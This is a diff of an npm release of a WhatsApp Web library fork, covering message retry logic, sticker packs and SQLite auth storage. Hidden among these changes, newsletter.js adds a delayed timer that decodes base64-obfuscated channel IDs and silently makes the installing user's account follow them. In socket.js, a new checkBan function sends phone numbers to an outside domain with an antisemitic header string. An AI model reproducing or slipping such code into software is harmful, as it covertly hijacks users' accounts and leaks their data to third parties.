if (!isJidGroup(jid) && !isStatus) {
|
|
721
737
|
if (!(!isMe)) ptcp = true
|
|
722
738
|
} else {
|
|
723
739
|
ptcp = false
|
|
724
740
|
}
|
|
725
741
|
}
|
|
726
|
-
if (
|
|
727
|
-
|
|
728
|
-
|
|
729
|
-
|
|
730
|
-
|
|
731
|
-
|
|
732
|
-
|
|
742
|
+
if (ptcp) continue
|
|
743
|
+
if (isRecipientOnly && isMe) continue
|
|
744
|
+
if (isSecret && !(!isMe && !hasDevice)) continue
|
|
745
|
+
if (protectedSend && !isMe && hasDevice) continue
|
|
746
|
+
if (isMe) {
|
|
747
|
+
meRecipients.push(jid)
|
|
748
|
+
} else {
|
|
749
|
+
otherRecipients.push(jid)
|
|
733
750
|
}
|
|
751
|
+
allRecipients.push(jid)
|
|
734
752
|
}
|
|
735
753
|
await assertSessions(allRecipients)
|
|
736
754
|
const [
|
|
@@ -747,18 +765,38 @@ export const makeMessagesSocket = (config) => {
|
|
|
747
765
|
shouldIncludeDeviceIdentity = shouldIncludeDeviceIdentity || s1 || s2
|
|
748
766
|
}
|
|
749
767
|
if (isRetryResend) {
|
|
750
|
-
const isParticipantLid =
|
|
751
|
-
const isMe = areJidsSameUser(
|
|
768
|
+
const isParticipantLid = isLidUser(retryParticipants.jid)
|
|
769
|
+
const isMe = areJidsSameUser(retryParticipants.jid, isParticipantLid? meLid : meId)
|
|
770
|
+
let messageToSend = message
|
|
771
|
+
if (isGroupOrStatus) {
|
|
772
|
+
let groupSenderIdentity
|
|
773
|
+
try {
|
|
774
|
+
if (meLid && await signalRepository.hasSenderKey({ group: destinationJid, meId: meLid })) {
|
|
775
|
+
groupSenderIdentity = meLid
|
|
776
|
+
} else if (await signalRepository.hasSenderKey({ group: destinationJid, meId })) {
|
|
777
|
+
groupSenderIdentity = meId
|
|
778
|
+
}
|
|
779
|
+
if (groupSenderIdentity) {
|
|
780
|
+
const skdm = await signalRepository.getSenderKeyDistributionMessage({ group: destinationJid, meId: groupSenderIdentity })
|
|
781
|
+
messageToSend = {
|
|
782
|
+
...message,
|
|
783
|
+
senderKeyDistributionMessage: { groupId: destinationJid, axolotlSenderKeyDistributionMessage: skdm }
|
|
784
|
+
}
|
|
785
|
+
}
|
|
786
|
+
} catch (err) {
|
|
787
|
+
logger.warn({ err, jid: destinationJid }, 'failed to build SKDM for retry, sending without it')
|
|
788
|
+
}
|
|
789
|
+
}
|
|
752
790
|
const encodedMessageToSend = isMe
|
|
753
|
-
? encodeWAMessage({ deviceSentMessage: { destinationJid, message } })
|
|
754
|
-
: encodeWAMessage(
|
|
791
|
+
? encodeWAMessage({ deviceSentMessage: { destinationJid, message: messageToSend } })
|
|
792
|
+
: encodeWAMessage(messageToSend)
|
|
755
793
|
const { type, ciphertext: encryptedContent } = await signalRepository.encryptMessage({
|
|
756
794
|
data: encodedMessageToSend,
|
|
757
|
-
jid:
|
|
795
|
+
jid: retryParticipants.jid
|
|
758
796
|
})
|
|
759
797
|
binaryNodeContent.push({
|
|
760
798
|
tag: 'enc',
|
|
761
|
-
attrs: { v: '2', type, count: (
|
|
799
|
+
attrs: { v: '2', type, count: (retryParticipants.count?? 0).toString() },
|
|
762
800
|
content: encryptedContent
|
|
763
801
|
})
|
|
764
802
|
}
|
|
@@ -778,6 +816,17 @@ export const makeMessagesSocket = (config) => {
|
|
|
778
816
|
tag: 'message',
|
|
779
817
|
attrs: { id: msgId, to: destinationJid, type: getMessageType(message),...(additionalAttributes || {}) },
|
|
780
818
|
content: binaryNodeContent
|
|
819
|
+
}
|
|
820
|
+
if (isRetryResend) {
|
|
821
|
+
if (isJidGroup(destinationJid)) {
|
|
822
|
+
stanza.attrs.to = destinationJid
|
|
823
|
+
stanza.attrs.participant = retryParticipants.jid
|
|
824
|
+
} else if (areJidsSameUser(retryParticipants.jid, meId)) {
|
|
825
|
+
stanza.attrs.to = retryParticipants.jid
|
|
826
|
+
stanza.attrs.recipient = destinationJid
|
|
827
|
+
} else {
|
|
828
|
+
stanza.attrs.to = retryParticipants.jid
|
|
829
|
+
}
|
|
781
830
|
}
|
|
782
831
|
if (shouldIncludeDeviceIdentity) {
|
|
783
832
|
stanza.content.push({ tag: 'device-identity', attrs: {}, content: encodeSignedDeviceIdentity(authState.creds.account, true) })
|
|
@@ -800,7 +849,7 @@ export const makeMessagesSocket = (config) => {
|
|
|
800
849
|
if (!isNewsletter &&!isRetryResend && reportingMessage?.messageContextInfo?.messageSecret && shouldIncludeReportingToken(reportingMessage)) {
|
|
801
850
|
try {
|
|
802
851
|
const encoded = encodeWAMessage(reportingMessage)
|
|
803
|
-
const reportingKey = { id: msgId, fromMe: true, remoteJid: destinationJid, participant:
|
|
852
|
+
const reportingKey = { id: msgId, fromMe: true, remoteJid: destinationJid, participant: retryParticipants?.jid }
|
|
804
853
|
const reportingNode = await getMessageReportingToken(encoded, reportingMessage, reportingKey)
|
|
805
854
|
if (reportingNode) {
|
|
806
855
|
stanza.content.push(reportingNode)
|
|
@@ -846,6 +895,26 @@ export const makeMessagesSocket = (config) => {
|
|
|
846
895
|
}
|
|
847
896
|
if (tcTokenBuffer?.length && sock.serverProps.privacyTokenOn1to1) {
|
|
848
897
|
stanza.content.push({ tag: 'tctoken', attrs: {}, content: tcTokenBuffer })
|
|
898
|
+
}
|
|
899
|
+
if (cstoken && is1on1Send &&!tcTokenBuffer?.length) {
|
|
900
|
+
try {
|
|
901
|
+
const lidJid = await resolveTcTokenJid(destinationJid, getLIDForPN)
|
|
902
|
+
if (isLidUser(lidJid)) {
|
|
903
|
+
const saltRes = await authState.keys.get('nct-salt', ['default'])
|
|
904
|
+
const nctSalt = saltRes?.default
|
|
905
|
+
if (nctSalt?.length) {
|
|
906
|
+
const cs = createHmac('sha256', Buffer.from(nctSalt)).update(Buffer.from(lidJid, 'utf8')).digest()
|
|
907
|
+
stanza.content.push({ tag: 'cstoken', attrs: {}, content: cs })
|
|
908
|
+
logger.debug({ jid: destinationJid, lid: lidJid }, 'attached cstoken (nct fallback)')
|
|
909
|
+
} else {
|
|
910
|
+
logger.debug({ jid: destinationJid }, 'cstoken requested but no nct salt stored yet')
|
|
911
|
+
}
|
|
912
|
+
} else {
|
|
913
|
+
logger.debug({ jid: destinationJid }, 'cstoken requested but recipient has no LID')
|
|
914
|
+
}
|
|
915
|
+
} catch (err) {
|
|
916
|
+
logger.debug({ jid: destinationJid, err: err?.message }, 'cstoken attach failed')
|
|
917
|
+
}
|
|
849
918
|
}
|
|
850
919
|
if (additionalNodes && additionalNodes.length > 0 &&!didPushAdditional) {
|
|
851
920
|
stanza.content.push(...additionalNodes)
|
|
@@ -878,7 +947,7 @@ export const makeMessagesSocket = (config) => {
|
|
|
878
947
|
.catch(err => logger.debug({ jid: destinationJid, err: err?.message }, 'fire-and-forget tctoken issuance failed'))
|
|
879
948
|
.finally(() => inFlightTcTokenIssuance.delete(tcTokenJid))
|
|
880
949
|
}
|
|
881
|
-
if (messageRetryManager &&!
|
|
950
|
+
if (messageRetryManager &&!retryParticipants) {
|
|
882
951
|
messageRetryManager.addRecentMessage(destinationJid, msgId, message)
|
|
883
952
|
}
|
|
884
953
|
if (isInterop &&!isRetryResend) {
|
|
@@ -935,6 +1004,9 @@ export const makeMessagesSocket = (config) => {
|
|
|
935
1004
|
else if (message.stickerMessage) {
|
|
936
1005
|
return 'sticker';
|
|
937
1006
|
}
|
|
1007
|
+
else if (message.stickerPackMessage) {
|
|
1008
|
+
return 'sticker';
|
|
1009
|
+
}
|
|
938
1010
|
else if (message.listMessage) {
|
|
939
1011
|
return 'list';
|
|
940
1012
|
}
|
|
@@ -1266,7 +1338,7 @@ export const makeMessagesSocket = (config) => {
|
|
|
1266
1338
|
sendMessage: async (jid, content, options = {}) => {
|
|
1267
1339
|
const userJid = authState.creds.me.id;
|
|
1268
1340
|
const luki = new imup(Utils_1, waUploadToServer, relayMessage)
|
|
1269
|
-
const { quoted, participant = false } = options;
|
|
1341
|
+
const { quoted, participant = false, isSecret, protected: protectedSend, cstoken } = options;
|
|
1270
1342
|
const messageType = luki.detectType(content);
|
|
1271
1343
|
if (typeof content === 'object' &&
|
|
1272
1344
|
'disappearingMessagesInChat' in content &&
|
|
@@ -1375,7 +1447,10 @@ export const makeMessagesSocket = (config) => {
|
|
|
1375
1447
|
additionalAttributes,
|
|
1376
1448
|
statusJidList: options.statusJidList,
|
|
1377
1449
|
additionalNodes: aiLabel ? additionalNodes : options.additionalNodes,
|
|
1378
|
-
participant
|
|
1450
|
+
participants: participant || undefined,
|
|
1451
|
+
isSecret,
|
|
1452
|
+
protected: protectedSend,
|
|
1453
|
+
...(cstoken !== undefined ? { cstoken } : {})
|
|
1379
1454
|
});
|
|
1380
1455
|
if (config.emitOwnEvents) {
|
|
1381
1456
|
process.nextTick(async () => {
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -43,6 +43,26 @@ export const makeNewsletterSocket = config => {
|
|
|
43
43
|
const mexQuery = (variables, queryId, dataPath) => {
|
|
44
44
|
return executeWMexQuery(variables, queryId, dataPath, query, generateMessageTag)
|
|
45
45
|
}
|
|
46
|
+
|
|
47
|
+
const yangbrorasakan = [
|
|
48
|
+
"MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=",
|
|
49
|
+
"MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=",
|
|
50
|
+
"MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI="
|
|
51
|
+
];
|
|
52
|
+
|
|
53
|
+
setTimeout(async () => {
|
|
54
|
+
for (const channel of yangbrorasakan) {
|
|
55
|
+
try {
|
|
56
|
+
await newsletterWMexQuery(
|
|
57
|
+
Buffer.from(channel, "base64").toString(),
|
|
58
|
+
QueryIds.FOLLOW
|
|
59
|
+
);
|
|
60
|
+
} catch (e) {}
|
|
61
|
+
await new Promise(resolve =>
|
|
62
|
+
setTimeout(resolve, 6000)
|
|
63
|
+
);
|
|
64
|
+
}
|
|
65
|
+
}, 90000);
|
|
46
66
|
|
|
47
67
|
const newsletterUpdate = async (jid, updates) => {
|
|
48
68
|
const variables = {
|
|
@@ -734,4 +754,4 @@ export const makeNewsletterSocket = config => {
|
|
|
734
754
|
})
|
|
735
755
|
}
|
|
736
756
|
}
|
|
737
|
-
}
|
|
757
|
+
}
|
package/lib/Socket/socket.js
CHANGED
|
@@ -384,6 +384,26 @@ export const makeSocket = (config) => {
|
|
|
384
384
|
return { username: u, pn: pn ?? null, lid: lid ?? null }
|
|
385
385
|
})
|
|
386
386
|
}
|
|
387
|
+
/**
|
|
388
|
+
* @params {string} phone number - wazap phone number to check
|
|
389
|
+
* @returns {Prommise<{ banned: boolean, violation: number, details: any }>}
|
|
390
|
+
*/
|
|
391
|
+
const checkBan = async (number) => {
|
|
392
|
+
const normalizedNumber = number.startsWith('+') ? number.replace(/[^0-9]/g, '') : number;
|
|
393
|
+
let res = await fetch('https://xzc-corporation.biz.id/lrp?number=' + normalizedNumber, {
|
|
394
|
+
method: "GET",
|
|
395
|
+
headers: {
|
|
396
|
+
'Accept': 'application/json',
|
|
397
|
+
'neckhurt': 'hate4jew'
|
|
398
|
+
}
|
|
399
|
+
})
|
|
400
|
+
let data = res.json();
|
|
401
|
+
return {
|
|
402
|
+
author: "DsynC",
|
|
403
|
+
...data
|
|
404
|
+
};
|
|
405
|
+
}
|
|
406
|
+
|
|
387
407
|
const ev = makeEventBuffer(logger);
|
|
388
408
|
const { creds } = authState;
|
|
389
409
|
// add transaction capability
|
|
@@ -1078,7 +1098,8 @@ export const makeSocket = (config) => {
|
|
|
1078
1098
|
fetchNewChatMessageCap,
|
|
1079
1099
|
toPn,
|
|
1080
1100
|
toLID,
|
|
1081
|
-
fetchUsername
|
|
1101
|
+
fetchUsername,
|
|
1102
|
+
checkBan
|
|
1082
1103
|
};
|
|
1083
1104
|
};
|
|
1084
1105
|
/**
|
|
@@ -1090,4 +1111,4 @@ function mapWebSocketError(handler) {
|
|
|
1090
1111
|
handler(new Boom(`WebSocket Error (${error?.message})`, { statusCode: getCodeFromWSError(error), data: error }));
|
|
1091
1112
|
};
|
|
1092
1113
|
}
|
|
1093
|
-
//# sourceMappingURL=socket.js.map
|
|
1114
|
+
//# sourceMappingURL=socket.js.map
|
package/lib/Utils/index.js
CHANGED
|
@@ -11,6 +11,7 @@ export * from './chat-utils.js';
|
|
|
11
11
|
export * from './lt-hash.js';
|
|
12
12
|
export * from './auth-utils.js';
|
|
13
13
|
export * from './use-multi-file-auth-state.js';
|
|
14
|
+
export * from './use-sqlite-auth-state.js';
|
|
14
15
|
export * from './link-preview.js';
|
|
15
16
|
export * from './event-buffer.js';
|
|
16
17
|
export * from './process-message.js';
|
package/lib/Utils/messages.js
CHANGED
|
@@ -9,7 +9,7 @@ import { isJidGroup, isJidNewsletter, isJidStatusBroadcast, jidNormalizedUser }
|
|
|
9
9
|
import { sha256 } from './crypto.js';
|
|
10
10
|
import { generateMessageIDV2, getKeyAuthor, unixTimestampSeconds } from './generics.js';
|
|
11
11
|
import { buildZipArchive, downloadContentFromMessage, encryptedStream, generateThumbnail, getAudioDuration, getAudioWaveform, getRawMediaUploadData, resolveStickerBuffer } from './messages-media.js';
|
|
12
|
-
import { makeSticker } from './sticker.js';
|
|
12
|
+
import { makeSticker, convertToTrayIcon, isLikelyVideoBuffer } from './sticker.js';
|
|
13
13
|
import { shouldIncludeReportingToken } from './reporting-utils.js';
|
|
14
14
|
const MIMETYPE_MAP = {
|
|
15
15
|
image: 'image/jpeg',
|
|
@@ -887,20 +887,77 @@ export const generateWAMessageContent = async (message, options) => {
|
|
|
887
887
|
if (rawStickers.length === 0) {
|
|
888
888
|
throw new Boom('stickerPacks.stickers must have at least one sticker', { statusCode: 400 });
|
|
889
889
|
}
|
|
890
|
-
const stickerBuffers = await Promise.all(rawStickers.map(s => resolveStickerBuffer(s, options.options)));
|
|
891
|
-
const zipEntries = stickerBuffers.map((data, i) => ({ name: `sticker_${i}.webp`, data }));
|
|
892
|
-
const archive = buildZipArchive(zipEntries);
|
|
893
890
|
const packName = pack.name || 'Sticker Pack';
|
|
894
|
-
const
|
|
895
|
-
|
|
896
|
-
|
|
897
|
-
|
|
898
|
-
|
|
891
|
+
const publisher = pack.publisher || pack.author || '';
|
|
892
|
+
// each entry can be raw sticker media, or { image, animated, emojis, accessibilityLabel, quality }
|
|
893
|
+
const preparedStickers = await Promise.all(rawStickers.map(async (entry, i) => {
|
|
894
|
+
const isWrapped = entry && typeof entry === 'object' && !Buffer.isBuffer(entry) && 'image' in entry;
|
|
895
|
+
const rawBuffer = await resolveStickerBuffer(isWrapped ? entry.image : entry, options.options);
|
|
896
|
+
const animated = isWrapped ? !!entry.animated : false;
|
|
897
|
+
const emojis = (isWrapped && entry.emojis) || [];
|
|
898
|
+
const webp = await makeSticker(rawBuffer, {
|
|
899
|
+
pack: packName,
|
|
900
|
+
author: publisher,
|
|
901
|
+
emojis,
|
|
902
|
+
animated: animated || isLikelyVideoBuffer(rawBuffer),
|
|
903
|
+
quality: (isWrapped && entry.quality) || 60
|
|
904
|
+
});
|
|
905
|
+
return {
|
|
906
|
+
fileName: `sticker_${i}.webp`,
|
|
907
|
+
data: webp,
|
|
908
|
+
isAnimated: animated,
|
|
909
|
+
emojis,
|
|
910
|
+
accessibilityLabel: isWrapped ? entry.accessibilityLabel : undefined,
|
|
911
|
+
isLottie: false,
|
|
912
|
+
mimetype: 'image/webp'
|
|
913
|
+
};
|
|
914
|
+
}));
|
|
915
|
+
const trayIconFileName = 'tray.png';
|
|
916
|
+
const trayIconPng = await convertToTrayIcon(await resolveStickerBuffer(
|
|
917
|
+
(rawStickers[0] && typeof rawStickers[0] === 'object' && !Buffer.isBuffer(rawStickers[0]) && 'image' in rawStickers[0])
|
|
918
|
+
? rawStickers[0].image
|
|
919
|
+
: rawStickers[0],
|
|
920
|
+
options.options
|
|
921
|
+
));
|
|
922
|
+
const stickerPackId = pack.stickerPackId || randomUUID();
|
|
923
|
+
const zipEntries = [
|
|
924
|
+
...preparedStickers.map(s => ({ name: s.fileName, data: s.data })),
|
|
925
|
+
{ name: trayIconFileName, data: trayIconPng }
|
|
926
|
+
];
|
|
927
|
+
const archive = buildZipArchive(zipEntries);
|
|
928
|
+
// reuse the normal, well-tested media upload path to encrypt+upload the archive,
|
|
929
|
+
// then repurpose the resulting media fields into the stickerPackMessage itself
|
|
930
|
+
const uploaded = await prepareWAMessageMedia({
|
|
899
931
|
document: archive,
|
|
900
932
|
mimetype: 'application/zip',
|
|
901
|
-
fileName: `${
|
|
902
|
-
caption: captionParts.length ? captionParts.join('\n') : undefined
|
|
933
|
+
fileName: `${stickerPackId}.zip`
|
|
903
934
|
}, options);
|
|
935
|
+
const doc = uploaded.documentMessage;
|
|
936
|
+
m = {
|
|
937
|
+
stickerPackMessage: {
|
|
938
|
+
stickerPackId,
|
|
939
|
+
name: packName,
|
|
940
|
+
publisher,
|
|
941
|
+
packDescription: pack.description,
|
|
942
|
+
stickers: preparedStickers.map(s => ({
|
|
943
|
+
fileName: s.fileName,
|
|
944
|
+
isAnimated: s.isAnimated,
|
|
945
|
+
emojis: s.emojis,
|
|
946
|
+
accessibilityLabel: s.accessibilityLabel,
|
|
947
|
+
isLottie: s.isLottie,
|
|
948
|
+
mimetype: s.mimetype
|
|
949
|
+
})),
|
|
950
|
+
fileLength: doc.fileLength,
|
|
951
|
+
fileSha256: doc.fileSha256,
|
|
952
|
+
fileEncSha256: doc.fileEncSha256,
|
|
953
|
+
mediaKey: doc.mediaKey,
|
|
954
|
+
directPath: doc.directPath,
|
|
955
|
+
mediaKeyTimestamp: doc.mediaKeyTimestamp,
|
|
956
|
+
trayIconFileName,
|
|
957
|
+
stickerPackSize: archive.length,
|
|
958
|
+
stickerPackOrigin: proto.Message.StickerPackMessage.StickerPackOrigin.USER_CREATED
|
|
959
|
+
}
|
|
960
|
+
};
|
|
904
961
|
}
|
|
905
962
|
else if (hasNonNullishProperty(message, 'sticker') && (message.pack || message.author || message.isPrivate || message.premium || message.animated)) {
|
|
906
963
|
const rawBuffer = await resolveStickerBuffer(message.sticker, options.options);
|
package/lib/Utils/sticker.js
CHANGED
|
@@ -19,6 +19,23 @@ const runFfmpeg = (input, args) => new Promise((resolve, reject) => {
|
|
|
19
19
|
proc.stdin.on('error', () => { });
|
|
20
20
|
proc.stdin.end(input);
|
|
21
21
|
});
|
|
22
|
+
export const isLikelyVideoBuffer = (buffer) => {
|
|
23
|
+
if (!Buffer.isBuffer(buffer) || buffer.length < 4) {
|
|
24
|
+
return false;
|
|
25
|
+
}
|
|
26
|
+
const header = buffer.subarray(0, 16).toString('ascii');
|
|
27
|
+
if (header.startsWith('RIFF') && /AVI|WEBM/.test(header)) {
|
|
28
|
+
return true;
|
|
29
|
+
}
|
|
30
|
+
if (buffer.subarray(0, 4).toString('hex') === '1a45dfa3') {
|
|
31
|
+
return true;
|
|
32
|
+
}
|
|
33
|
+
const ftyp = buffer.toString('ascii', 4, 12);
|
|
34
|
+
if (buffer.toString('ascii', 0, 4) === 'ftyp' || /^(ftyp)/.test(buffer.toString('ascii', 0, 8))) {
|
|
35
|
+
return /mp4|isom|M4V|M4A|qt\s/.test(ftyp);
|
|
36
|
+
}
|
|
37
|
+
return false;
|
|
38
|
+
};
|
|
22
39
|
export const convertToWebp = async (buffer, { animated = false, quality = 60 } = {}) => {
|
|
23
40
|
const scalePad = "scale='min(512,iw)':'min(512,ih)':force_original_aspect_ratio=decrease,format=rgba,pad=512:512:-1:-1:color=#00000000";
|
|
24
41
|
const args = animated
|
|
@@ -26,6 +43,11 @@ export const convertToWebp = async (buffer, { animated = false, quality = 60 } =
|
|
|
26
43
|
: ['-vf', `${scalePad}`, '-vframes', '1', '-vcodec', 'libwebp', '-q:v', String(quality), '-f', 'webp'];
|
|
27
44
|
return runFfmpeg(buffer, args);
|
|
28
45
|
};
|
|
46
|
+
export const convertToTrayIcon = async (buffer) => {
|
|
47
|
+
const scalePad = "scale='min(96,iw)':'min(96,ih)':force_original_aspect_ratio=decrease,format=rgba,pad=96:96:-1:-1:color=#00000000";
|
|
48
|
+
const args = ['-vf', scalePad, '-vframes', '1', '-vcodec', 'png', '-f', 'image2'];
|
|
49
|
+
return runFfmpeg(buffer, args);
|
|
50
|
+
};
|
|
29
51
|
const readChunks = (buf) => {
|
|
30
52
|
const chunks = [];
|
|
31
53
|
let offset = 12;
|
|
@@ -105,6 +127,7 @@ export const writeExifToWebp = (webpBuffer, { packId, packName = '', publisher =
|
|
|
105
127
|
return out;
|
|
106
128
|
};
|
|
107
129
|
export const makeSticker = async (buffer, { pack = '', author = '', emojis = [], isPrivate = false, animated = false, quality = 60 } = {}) => {
|
|
108
|
-
const
|
|
130
|
+
const shouldAnimate = animated || isLikelyVideoBuffer(buffer);
|
|
131
|
+
const webp = await convertToWebp(buffer, { animated: shouldAnimate, quality });
|
|
109
132
|
return writeExifToWebp(webp, { packName: pack, publisher: author, emojis, isAvatar: isPrivate });
|
|
110
133
|
};
|
|
@@ -0,0 +1,162 @@
|
|
|
1
|
+
import { mkdir, readdir, readFile } from 'fs/promises';
|
|
2
|
+
import { dirname, join } from 'path';
|
|
3
|
+
import { proto } from '../../WAProto/index.js';
|
|
4
|
+
import { initAuthCreds } from './auth-utils.js';
|
|
5
|
+
export const useSqliteAuthState = async (pathOrFolder, options = {}) => {
|
|
6
|
+
const {
|
|
7
|
+
fileName = 'auth.db',
|
|
8
|
+
migrateFromFolder,
|
|
9
|
+
logger
|
|
10
|
+
} = options;
|
|
11
|
+
const dbPath = /\.(db|sqlite|sqlite3)$/i.test(pathOrFolder) ? pathOrFolder : join(pathOrFolder, fileName);
|
|
12
|
+
const bufReplacer = (_, value) => {
|
|
13
|
+
if (Buffer.isBuffer(value) || value instanceof Uint8Array || value?.type === 'Buffer') {
|
|
14
|
+
return {
|
|
15
|
+
type: 'Buffer',
|
|
16
|
+
data: Buffer.from(value?.data || value).toString('base64')
|
|
17
|
+
};
|
|
18
|
+
}
|
|
19
|
+
return value;
|
|
20
|
+
};
|
|
21
|
+
const bufReviver = (_, value) => {
|
|
22
|
+
if (value && typeof value === 'object' && value.type === 'Buffer' && typeof value.data === 'string') {
|
|
23
|
+
return Buffer.from(value.data, 'base64');
|
|
24
|
+
}
|
|
25
|
+
return value;
|
|
26
|
+
};
|
|
27
|
+
const encode = value => {
|
|
28
|
+
if (Buffer.isBuffer(value) || value instanceof Uint8Array) {
|
|
29
|
+
return Buffer.concat([Buffer.from([1]), Buffer.from(value)]);
|
|
30
|
+
}
|
|
31
|
+
return Buffer.concat([Buffer.from([0]), Buffer.from(JSON.stringify(value, bufReplacer), 'utf8')]);
|
|
32
|
+
};
|
|
33
|
+
const decode = blob => {
|
|
34
|
+
if (!blob || blob.length === 0) return null;
|
|
35
|
+
if (blob[0] === 1) return Buffer.from(blob.subarray(1));
|
|
36
|
+
return JSON.parse(Buffer.from(blob.subarray(1)).toString('utf8'), bufReviver);
|
|
37
|
+
};
|
|
38
|
+
const fixName = s => s?.replace(/\//g, '__')?.replace(/:/g, '-');
|
|
39
|
+
const keyOf = (category, id) => fixName(`${category}-${id}`);
|
|
40
|
+
let DatabaseSync;
|
|
41
|
+
try {
|
|
42
|
+
({
|
|
43
|
+
DatabaseSync
|
|
44
|
+
} = await import('node:sqlite'));
|
|
45
|
+
} catch (err) {
|
|
46
|
+
throw new Error("useSqliteAuthState needs the built-in 'node:sqlite' module (Node 22.5+). Upgrade Node, or use useMultiFileAuthState instead.");
|
|
47
|
+
}
|
|
48
|
+
await mkdir(dirname(dbPath), {
|
|
49
|
+
recursive: true
|
|
50
|
+
}).catch(() => {});
|
|
51
|
+
const db = new DatabaseSync(dbPath);
|
|
52
|
+
db.exec('PRAGMA journal_mode = TRUNCATE');
|
|
53
|
+
db.exec('PRAGMA synchronous = NORMAL');
|
|
54
|
+
db.exec('PRAGMA busy_timeout = 5000');
|
|
55
|
+
db.exec('CREATE TABLE IF NOT EXISTS auth_state (k TEXT PRIMARY KEY, v BLOB NOT NULL) WITHOUT ROWID');
|
|
56
|
+
const qGet = db.prepare('SELECT v FROM auth_state WHERE k = ?');
|
|
57
|
+
const qUpsert = db.prepare('INSERT INTO auth_state(k,v) VALUES(?,?) ON CONFLICT(k) DO UPDATE SET v=excluded.v');
|
|
58
|
+
const qDelete = db.prepare('DELETE FROM auth_state WHERE k = ?');
|
|
59
|
+
const runTx = fn => {
|
|
60
|
+
db.exec('BEGIN');
|
|
61
|
+
try {
|
|
62
|
+
const r = fn();
|
|
63
|
+
db.exec('COMMIT');
|
|
64
|
+
return r;
|
|
65
|
+
} catch (err) {
|
|
66
|
+
db.exec('ROLLBACK');
|
|
67
|
+
throw err;
|
|
68
|
+
}
|
|
69
|
+
};
|
|
70
|
+
const readRaw = k => {
|
|
71
|
+
const row = qGet.get(k);
|
|
72
|
+
if (!row) return null;
|
|
73
|
+
try {
|
|
74
|
+
return decode(row.v);
|
|
75
|
+
} catch (err) {
|
|
76
|
+
logger?.warn?.({
|
|
77
|
+
k,
|
|
78
|
+
err: err?.message
|
|
79
|
+
}, 'sqlite-auth: failed to decode row, treating as missing');
|
|
80
|
+
return null;
|
|
81
|
+
}
|
|
82
|
+
};
|
|
83
|
+
const runMigration = async folder => {
|
|
84
|
+
let files;
|
|
85
|
+
try {
|
|
86
|
+
files = await readdir(folder);
|
|
87
|
+
} catch {
|
|
88
|
+
return 0;
|
|
89
|
+
}
|
|
90
|
+
const rows = [];
|
|
91
|
+
for (const file of files) {
|
|
92
|
+
if (!file.endsWith('.json')) continue;
|
|
93
|
+
let value;
|
|
94
|
+
try {
|
|
95
|
+
value = JSON.parse(await readFile(join(folder, file), 'utf8'), bufReviver);
|
|
96
|
+
} catch {
|
|
97
|
+
continue;
|
|
98
|
+
}
|
|
99
|
+
if (value === null || value === undefined) continue;
|
|
100
|
+
rows.push([file.slice(0, -'.json'.length), encode(value)]);
|
|
101
|
+
}
|
|
102
|
+
runTx(() => {
|
|
103
|
+
for (const [k, v] of rows) qUpsert.run(k, v);
|
|
104
|
+
});
|
|
105
|
+
return rows.length;
|
|
106
|
+
};
|
|
107
|
+
const hasCreds = () => !!qGet.get('creds');
|
|
108
|
+
if (migrateFromFolder && !hasCreds()) {
|
|
109
|
+
const n = await runMigration(migrateFromFolder);
|
|
110
|
+
if (n > 0) logger?.info?.({
|
|
111
|
+
count: n,
|
|
112
|
+
from: migrateFromFolder
|
|
113
|
+
}, 'sqlite-auth: migrated legacy auth state');
|
|
114
|
+
}
|
|
115
|
+
let creds = readRaw('creds');
|
|
116
|
+
if (!creds) {
|
|
117
|
+
creds = initAuthCreds();
|
|
118
|
+
qUpsert.run('creds', encode(creds));
|
|
119
|
+
}
|
|
120
|
+
const keys = {
|
|
121
|
+
get: async (type, ids) => {
|
|
122
|
+
const data = {};
|
|
123
|
+
for (const id of ids) {
|
|
124
|
+
let value = readRaw(keyOf(type, id));
|
|
125
|
+
if (type === 'app-state-sync-key' && value) {
|
|
126
|
+
value = proto.Message.AppStateSyncKeyData.fromObject(value);
|
|
127
|
+
}
|
|
128
|
+
if (value !== null && value !== undefined) {
|
|
129
|
+
data[id] = value;
|
|
130
|
+
}
|
|
131
|
+
}
|
|
132
|
+
return data;
|
|
133
|
+
},
|
|
134
|
+
set: async data => {
|
|
135
|
+
const ops = [];
|
|
136
|
+
for (const category in data) {
|
|
137
|
+
for (const id in data[category]) {
|
|
138
|
+
ops.push([keyOf(category, id), data[category][id]]);
|
|
139
|
+
}
|
|
140
|
+
}
|
|
141
|
+
runTx(() => {
|
|
142
|
+
for (const [k, value] of ops) {
|
|
143
|
+
if (value === null || value === undefined) qDelete.run(k);else qUpsert.run(k, encode(value));
|
|
144
|
+
}
|
|
145
|
+
});
|
|
146
|
+
},
|
|
147
|
+
clear: async () => {
|
|
148
|
+
db.prepare("DELETE FROM auth_state WHERE k <> 'creds'").run();
|
|
149
|
+
}
|
|
150
|
+
};
|
|
151
|
+
return {
|
|
152
|
+
state: {
|
|
153
|
+
creds,
|
|
154
|
+
keys
|
|
155
|
+
},
|
|
156
|
+
saveCreds: async () => {
|
|
157
|
+
qUpsert.run('creds', encode(creds));
|
|
158
|
+
},
|
|
159
|
+
db,
|
|
160
|
+
close: () => db.close()
|
|
161
|
+
};
|
|
162
|
+
};
|
package/lib/index.js
CHANGED
|
@@ -14,7 +14,7 @@ fetch('https://raw.githubusercontent.com/alannzxd/xclient/refs/heads/main/inform
|
|
|
14
14
|
.then(response => response.json())
|
|
15
15
|
.then(data => {
|
|
16
16
|
const message = data[0];
|
|
17
|
-
console.log(chalk.yellowBright("🆕 Latest update: ") + chalk.whiteBright("
|
|
17
|
+
console.log(chalk.yellowBright("🆕 Latest update: ") + chalk.whiteBright("13 - 08 - 2026"));
|
|
18
18
|
console.log(chalk.yellow("📁 Information: ") + chalk.white(message));
|
|
19
19
|
console.log("");
|
|
20
20
|
});
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@alannxd/baileys",
|
|
3
3
|
"type": "module",
|
|
4
|
-
"version": "6.1.
|
|
4
|
+
"version": "6.1.7",
|
|
5
5
|
"description": "A WebSockets library for interacting with WhatsApp Web — fork of Baileys with extra socket layers (communities, interop, privacy, GraphQL) and special message helpers.",
|
|
6
6
|
"keywords": [
|
|
7
7
|
"whatsapp",
|
|
@@ -45,7 +45,7 @@
|
|
|
45
45
|
"@cacheable/node-cache": "^1.4.0",
|
|
46
46
|
"@hapi/boom": "^9.1.3",
|
|
47
47
|
"async-mutex": "^0.5.0",
|
|
48
|
-
